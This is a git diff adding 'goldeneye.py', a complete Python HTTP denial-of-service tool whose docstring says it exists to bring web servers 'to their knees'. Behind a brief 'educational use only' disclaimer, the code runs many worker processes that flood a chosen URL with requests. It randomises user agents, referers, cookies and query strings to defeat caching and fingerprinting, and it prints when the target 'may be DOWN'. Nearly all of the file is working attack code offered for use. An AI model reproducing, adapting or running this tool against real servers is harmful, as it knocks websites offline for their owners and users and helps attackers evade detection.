diff --git a/goldeneye.py b/goldeneye.py
new file mode 100644
index 0000000..a2e11b3
--- /dev/null
+++ b/goldeneye.py
@@ -0,0 +1,643 @@
+#!/usr/bin/env python
+
+"""
+$Id: $
+
+ /$$$$$$ /$$ /$$ /$$$$$$$$
+ /$$__ $$ | $$ | $$ | $$_____/
+ | $$ \__/ /$$$$$$ | $$ /$$$$$$$ /$$$$$$ /$$$$$$$ | $$ /$$ /$$ /$$$$$$
+ | $$ /$$$$ /$$__ $$| $$ /$$__ $$ /$$__ $$| $$__ $$| $$$$$ | $$ | $$ /$$__ $$
+ | $$|_ $$| $$ \ $$| $$| $$ | $$| $$$$$$$$| $$ \ $$| $$__/ | $$ | $$| $$$$$$$$
+ | $$ \ $$| $$ | $$| $$| $$ | $$| $$_____/| $$ | $$| $$ | $$ | $$| $$_____/
+ | $$$$$$/| $$$$$$/| $$| $$$$$$$| $$$$$$$| $$ | $$| $$$$$$$$| $$$$$$$| $$$$$$$
+ \______/ \______/ |__/ \_______/ \_______/|__/ |__/|________/ \____ $$ \_______/
+ /$$ | $$
+ | $$$$$$/
+ \______/
+
+
+
+This tool is a dos tool that is meant to put heavy load on HTTP servers
+in order to bring them to their knees by exhausting the resource pool.
+
+This tool is meant for research purposes only
+and any malicious usage of this tool is prohibited.
+
+@author Jan Seidl
+
+@date 2014-02-18
+@version 2.1
+
+@TODO Test in python 3.x
+
+LICENSE:
+This software is distributed under the GNU General Public License version 3 (GPLv3)
+
+LEGAL NOTICE:
+THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY!
+IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY
+THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT.
+BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.
+"""
+
+from multiprocessing import Process, Manager, Pool
+import urlparse, ssl
+import sys, getopt, random, time, os
+
+# Python version-specific
+if sys.version_info < (3,0):
+ # Python 2.x
+ import httplib
+ HTTPCLIENT = httplib
+else:
+ # Python 3.x
+ import http.client
+ HTTPCLIENT = http.client
+
+####
+# Config
+####
+DEBUG = False
+
+####
+# Constants
+####
+METHOD_GET = 'get'
+METHOD_POST = 'post'
+METHOD_RAND = 'random'
+
+JOIN_TIMEOUT=1.0
+
+DEFAULT_WORKERS=10
+DEFAULT_SOCKETS=500
+
+GOLDENEYE_BANNER = 'GoldenEye v2.1 by Anonymous'
+
+USER_AGENT_PARTS = {
+ 'os': {
+ 'linux': {
+ 'name': [ 'Linux x86_64', 'Linux i386' ],
+ 'ext': [ 'X11' ]
+ },
+ 'windows': {
+ 'name': [ 'Windows NT 6.1', 'Windows NT 6.3', 'Windows NT 5.1', 'Windows NT.6.2' ],
+ 'ext': [ 'WOW64', 'Win64; x64' ]
+ },
+ 'mac': {
+ 'name': [ 'Macintosh' ],
+ 'ext': [ 'Intel Mac OS X %d_%d_%d' % (random.randint(10, 11), random.randint(0, 9), random.randint(0, 5)) for i in range(1, 10) ]
+ },
+ },
+ 'platform': {
+ 'webkit': {
+ 'name': [ 'AppleWebKit/%d.%d' % (random.randint(535, 537), random.randint(1,36)) for i in range(1, 30) ],
+ 'details': [ 'KHTML, like Gecko' ],
+ 'extensions': [ 'Chrome/%d.0.%d.%d Safari/%d.%d' % (random.randint(6, 32), random.randint(100, 2000), random.randint(0, 100), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 30) ] + [ 'Version/%d.%d.%d Safari/%d.%d' % (random.randint(4, 6), random.randint(0, 1), random.randint(0, 9), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 10) ]
+ },
+ 'iexplorer': {
+ 'browser_info': {
+ 'name': [ 'MSIE 6.0', 'MSIE 6.1', 'MSIE 7.0', 'MSIE 7.0b', 'MSIE 8.0', 'MSIE 9.0', 'MSIE 10.0' ],
+ 'ext_pre': [ 'compatible', 'Windows; U' ],
+ 'ext_post': [ 'Trident/%d.0' % i for i in range(4, 6) ] + [ '.NET CLR %d.%d.%d' % (random.randint(1, 3), random.randint(0, 5), random.randint(1000, 30000)) for i in range(1, 10) ]
+ }
+ },
+ 'gecko': {
+ 'name': [ 'Gecko/%d%02d%02d Firefox/%d.0' % (random.randint(2001, 2010), random.randint(1,31), random.randint(1,12) , random.randint(10, 25)) for i in range(1, 30) ],
+ 'details': [],
+ 'extensions': []
+ }
+ }
+}
+
+####
+# GoldenEye Class
+####
+
+class GoldenEye(object):
+
+ # Counters
+ counter = [0, 0]
+ last_counter = [0, 0]
+
+ # Containers
+ workersQueue = []
+ manager = None
+ useragents = []
+
+ # Properties
+ url = None
+
+ # Options
+ nr_workers = DEFAULT_WORKERS
+ nr_sockets = DEFAULT_SOCKETS
+ method = METHOD_GET
+
+ def __init__(self, url):
+
+ # Set URL
+ self.url = url
+
+ # Initialize Manager
+ self.manager = Manager()
+
+ # Initialize Counters
+ self.counter = self.manager.list((0, 0))
+
+
+ def exit(self):
+ self.stats()
+ print "Shutting down GoldenEye"
+
+ def __del__(self):
+ self.exit()
+
+ def printHeader(self):
+
+ # Taunt!
+ print
+ print GOLDENEYE_BANNER
+ print
+
+ # Do the fun!
+ def fire(self):
+
+ self.printHeader()
+ print "Hitting webserver in mode '{0}' with {1} workers running {2} connections each. Hit CTRL+C to cancel.".format(self.method, self.nr_workers, self.nr_sockets)
+
+ if DEBUG:
+ print "Starting {0} concurrent workers".format(self.nr_workers)
+
+ # Start workers
+ for i in range(int(self.nr_workers)):
+
+ try:
+
+ worker = Striker(self.url, self.nr_sockets, self.counter)
+ worker.useragents = self.useragents
+ worker.method = self.method
+
+ self.workersQueue.append(worker)
+ worker.start()
+ except (Exception):
+ error("Failed to start worker {0}".format(i))
+ pass
+
+ if DEBUG:
+ print "Initiating monitor"
+ self.monitor()
+
+ def stats(self):
+
+ try:
+ if self.counter[0] > 0 or self.counter[1] > 0:
+
+ print "{0} GoldenEye strikes deferred. ({1} Failed)".format(self.counter[0], self.counter[1])
+
+ if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]:
+ print "\tServer may be DOWN!"
+
+ self.last_counter[0] = self.counter[0]
+ self.last_counter[1] = self.counter[1]
+ except (Exception):
+ pass # silently ignore
+
+ def monitor(self):
+ while len(self.workersQueue) > 0:
+ try:
+ for worker in self.workersQueue:
+ if worker is not None and worker.is_alive():
+ worker.join(JOIN_TIMEOUT)
+ else:
+ self.workersQueue.remove(worker)
+
+ self.stats()
+
+ except (KeyboardInterrupt, SystemExit):
+ print "CTRL+C received. Killing all workers"
+ for worker in self.workersQueue:
+ try:
+ if DEBUG:
+ print "Killing worker {0}".format(worker.name)
+ #worker.terminate()
+ worker.stop()
+ except Exception, ex:
+ pass # silently ignore
+ if DEBUG:
+ raise
+ else:
+ pass
+
+####
+# Striker Class
+####
+
+class Striker(Process):
+
+
+ # Counters
+ request_count = 0
+ failed_count = 0
+
+ # Containers
+ url = None
+ host = None
+ port = 80
+ ssl = False
+ referers = []
+ useragents = []
+ socks = []
+ counter = None
+ nr_socks = DEFAULT_SOCKETS
+
+ # Flags
+ runnable = True
+
+ # Options
+ method = METHOD_GET
+
+ def __init__(self, url, nr_sockets, counter):
+
+ super(Striker, self).__init__()
+
+ self.counter = counter
+ self.nr_socks = nr_sockets
+
+ parsedUrl = urlparse.urlparse(url)
+
+ if parsedUrl.scheme == 'https':
+ self.ssl = True
+
+ self.host = parsedUrl.netloc.split(':')[0]
+ self.url = parsedUrl.path
+
+ self.port = parsedUrl.port
+
+ if not self.port:
+ self.port = 80 if not self.ssl else 443
+
+
+ self.referers = [
+ 'http://www.google.com/',
+ 'http://www.bing.com/',
+ 'http://www.baidu.com/',
+ 'http://www.yandex.com/',
+ 'http://' + self.host + '/'
+ ]
+
+
+ def __del__(self):
+ self.stop()
+
+
+ #builds random ascii string
+ def buildblock(self, size):
+ out_str = ''
+
+ _LOWERCASE = range(97, 122)
+ _UPPERCASE = range(65, 90)
+ _NUMERIC = range(48, 57)
+
+ validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
+
+ for i in range(0, size):
+ a = random.choice(validChars)
+ out_str += chr(a)
+
+ return out_str
+
+
+ def run(self):
+
+ if DEBUG:
+ print "Starting worker {0}".format(self.name)
+
+ while self.runnable:
+
+ try:
+
+ for i in range(self.nr_socks):
+
+ if self.ssl:
+ c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
+ else:
+ c = HTTPCLIENT.HTTPConnection(self.host, self.port)
+
+ self.socks.append(c)
+
+ for conn_req in self.socks:
+
+ (url, headers) = self.createPayload()
+
+ method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method
+
+ conn_req.request(method.upper(), url, None, headers)
+
+ for conn_resp in self.socks:
+
+ resp = conn_resp.getresponse()
+ self.incCounter()
+
+ self.closeConnections()
+
+ except:
+ self.incFailed()
+ if DEBUG:
+ raise
+ else:
+ pass # silently ignore
+
+ if DEBUG:
+ print "Worker {0} completed run. Sleeping...".format(self.name)
+
+ def closeConnections(self):
+ for conn in self.socks:
+ try:
+ conn.close()
+ except:
+ pass # silently ignore
+
+
+ def createPayload(self):
+
+ req_url, headers = self.generateData()
+
+ random_keys = headers.keys()
+ random.shuffle(random_keys)
+ random_headers = {}
+
+ for header_name in random_keys:
+ random_headers[header_name] = headers[header_name]
+
+ return (req_url, random_headers)
+
+ def generateQueryString(self, ammount = 1):
+
+ queryString = []
+
+ for i in range(ammount):
+
+ key = self.buildblock(random.randint(3,10))
+ value = self.buildblock(random.randint(3,20))
+ element = "{0}={1}".format(key, value)
+ queryString.append(element)
+
+ return '&'.join(queryString)
+
+
+ def generateData(self):
+
+ returnCode = 0
+ param_joiner = "?"
+
+ if len(self.url) == 0:
+ self.url = '/'
+
+ if self.url.count("?") > 0:
+ param_joiner = "&"
+
+ request_url = self.generateRequestUrl(param_joiner)
+
+ http_headers = self.generateRandomHeaders()
+
+
+ return (request_url, http_headers)
+
+ def generateRequestUrl(self, param_joiner = '?'):
+
+ return self.url + param_joiner + self.generateQueryString(random.randint(1,5))
+
+ def getUserAgent(self):
+
+ if self.useragents:
+ return random.choice(self.useragents)
+
+ # Mozilla/[version] ([system and browser information]) [platform] ([platform details]) [extensions]
+
+ ## Mozilla Version
+ mozilla_version = "Mozilla/5.0" # hardcoded for now, almost every browser is on this version except IE6
+
+ ## System And Browser Information
+ # Choose random OS
+ os = USER_AGENT_PARTS['os'][random.choice(USER_AGENT_PARTS['os'].keys())]
+ os_name = random.choice(os['name'])
+ sysinfo = os_name
+
+ # Choose random platform
+ platform = USER_AGENT_PARTS['platform'][random.choice(USER_AGENT_PARTS['platform'].keys())]
+
+ # Get Browser Information if available
+ if 'browser_info' in platform and platform['browser_info']:
+ browser = platform['browser_info']
+
+ browser_string = random.choice(browser['name'])
+
+ if 'ext_pre' in browser:
+ browser_string = "%s; %s" % (random.choice(browser['ext_pre']), browser_string)
+
+ sysinfo = "%s; %s" % (browser_string, sysinfo)
+
+ if 'ext_post' in browser:
+ sysinfo = "%s; %s" % (sysinfo, random.choice(browser['ext_post']))
+
+
+ if 'ext' in os and os['ext']:
+ sysinfo = "%s; %s" % (sysinfo, random.choice(os['ext']))
+
+ ua_string = "%s (%s)" % (mozilla_version, sysinfo)
+
+ if 'name' in platform and platform['name']:
+ ua_string = "%s %s" % (ua_string, random.choice(platform['name']))
+
+ if 'details' in platform and platform['details']:
+ ua_string = "%s (%s)" % (ua_string, random.choice(platform['details']) if len(platform['details']) > 1 else platform['details'][0] )
+
+ if 'extensions' in platform and platform['extensions']:
+ ua_string = "%s %s" % (ua_string, random.choice(platform['extensions']))
+
+ return ua_string
+
+ def generateRandomHeaders(self):
+
+ # Random no-cache entries
+ noCacheDirectives = ['no-cache', 'max-age=0']
+ random.shuffle(noCacheDirectives)
+ nrNoCache = random.randint(1, (len(noCacheDirectives)-1))
+ noCache = ', '.join(noCacheDirectives[:nrNoCache])
+
+ # Random accept encoding
+ acceptEncoding = ['\'\'','*','identity','gzip','deflate']
+ random.shuffle(acceptEncoding)
+ nrEncodings = random.randint(1,len(acceptEncoding)/2)
+ roundEncodings = acceptEncoding[:nrEncodings]
+
+ http_headers = {
+ 'User-Agent': self.getUserAgent(),
+ 'Cache-Control': noCache,
+ 'Accept-Encoding': ', '.join(roundEncodings),
+ 'Connection': 'keep-alive',
+ 'Keep-Alive': random.randint(1,1000),
+ 'Host': self.host,
+ }
+
+ # Randomly-added headers
+ # These headers are optional and are
+ # randomly sent thus making the
+ # header count random and unfingerprintable
+ if random.randrange(2) == 0:
+ # Random accept-charset
+ acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
+ random.shuffle(acceptCharset)
+ http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1))
+
+ if random.randrange(2) == 0:
+ # Random Referer
+ url_part = self.buildblock(random.randint(5,10))
+
+ random_referer = random.choice(self.referers) + url_part
+
+ if random.randrange(2) == 0:
+ random_referer = random_referer + '?' + self.generateQueryString(random.randint(1, 10))
+
+ http_headers['Referer'] = random_referer
+
+ if random.randrange(2) == 0:
+ # Random Content-Trype
+ http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])
+
+ if random.randrange(2) == 0:
+ # Random Cookie
+ http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))
+
+ return http_headers
+
+ # Housekeeping
+ def stop(self):
+ self.runnable = False
+ self.closeConnections()
+ self.terminate()
+
+ # Counter Functions
+ def incCounter(self):
+ try:
+ self.counter[0] += 1
+ except (Exception):
+ pass
+
+ def incFailed(self):
+ try:
+ self.counter[1] += 1
+ except (Exception):
+ pass
+
+
+
+####
+
+####
+# Other Functions
+####
+
+def usage():
+ print
+ print '-----------------------------------------------------------------------------------------------------------'
+ print
+ print GOLDENEYE_BANNER
+ print
+ print ' USAGE: ./goldeneye.py [OPTIONS]'
+ print
+ print ' OPTIONS:'
+ print '\t Flag\t\t\tDescription\t\t\t\t\t\tDefault'
+ print '\t -u, --useragents\tFile with user-agents to use\t\t\t\t(default: randomly generated)'
+ print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS)
+ print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS)
+ print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\' or \'random\'\t\t(default: get)'
+ print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)'
+ print '\t -h, --help\t\tShows this help'
+ print
+ print '-----------------------------------------------------------------------------------------------------------'
+
+
+def error(msg):
+ # print help information and exit:
+ sys.stderr.write(str(msg+"\n"))
+ usage()
+ sys.exit(2)
+
+####
+# Main
+####
+
+def main():
+
+ try:
+
+ if len(sys.argv) < 2:
+ error('Please supply at least the URL')
+
+ url = sys.argv[1]
+
+ if url == '-h':
+ usage()
+ sys.exit()
+
+ if url[0:4].lower() != 'http':
+ error("Invalid URL supplied")
+
+ if url == None:
+ error("No URL supplied")
+
+ opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:u:", ["debug", "help", "workers", "sockets", "method", "useragents" ])
+
+ workers = DEFAULT_WORKERS
+ socks = DEFAULT_SOCKETS
+ method = METHOD_GET
+
+ uas_file = None
+ useragents = []
+
+ for o, a in opts:
+ if o in ("-h", "--help"):
+ usage()
+ sys.exit()
+ elif o in ("-u", "--useragents"):
+ uas_file = a
+ elif o in ("-s", "--sockets"):
+ socks = int(a)
+ elif o in ("-w", "--workers"):
+ workers = int(a)
+ elif o in ("-d", "--debug"):
+ global DEBUG
+ DEBUG = True
+ elif o in ("-m", "--method"):
+ if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
+ method = a
+ else:
+ error("method {0} is invalid".format(a))
+ else:
+ error("option '"+o+"' doesn't exists")
+
+
+ if uas_file:
+ try:
+ with open(uas_file) as f:
+ useragents = f.readlines()
+ except EnvironmentError:
+ error("cannot read file {0}".format(uas_file))
+
+ goldeneye = GoldenEye(url)
+ goldeneye.useragents = useragents
+ goldeneye.nr_workers = workers
+ goldeneye.method = method
+ goldeneye.nr_sockets = socks
+
+ goldeneye.fire()
+
+ except getopt.GetoptError, err:
+
+ # print help information and exit:
+ sys.stderr.write(str(err))
+ usage()
+ sys.exit(2)
+
+if __name__ == "__main__":
+ main()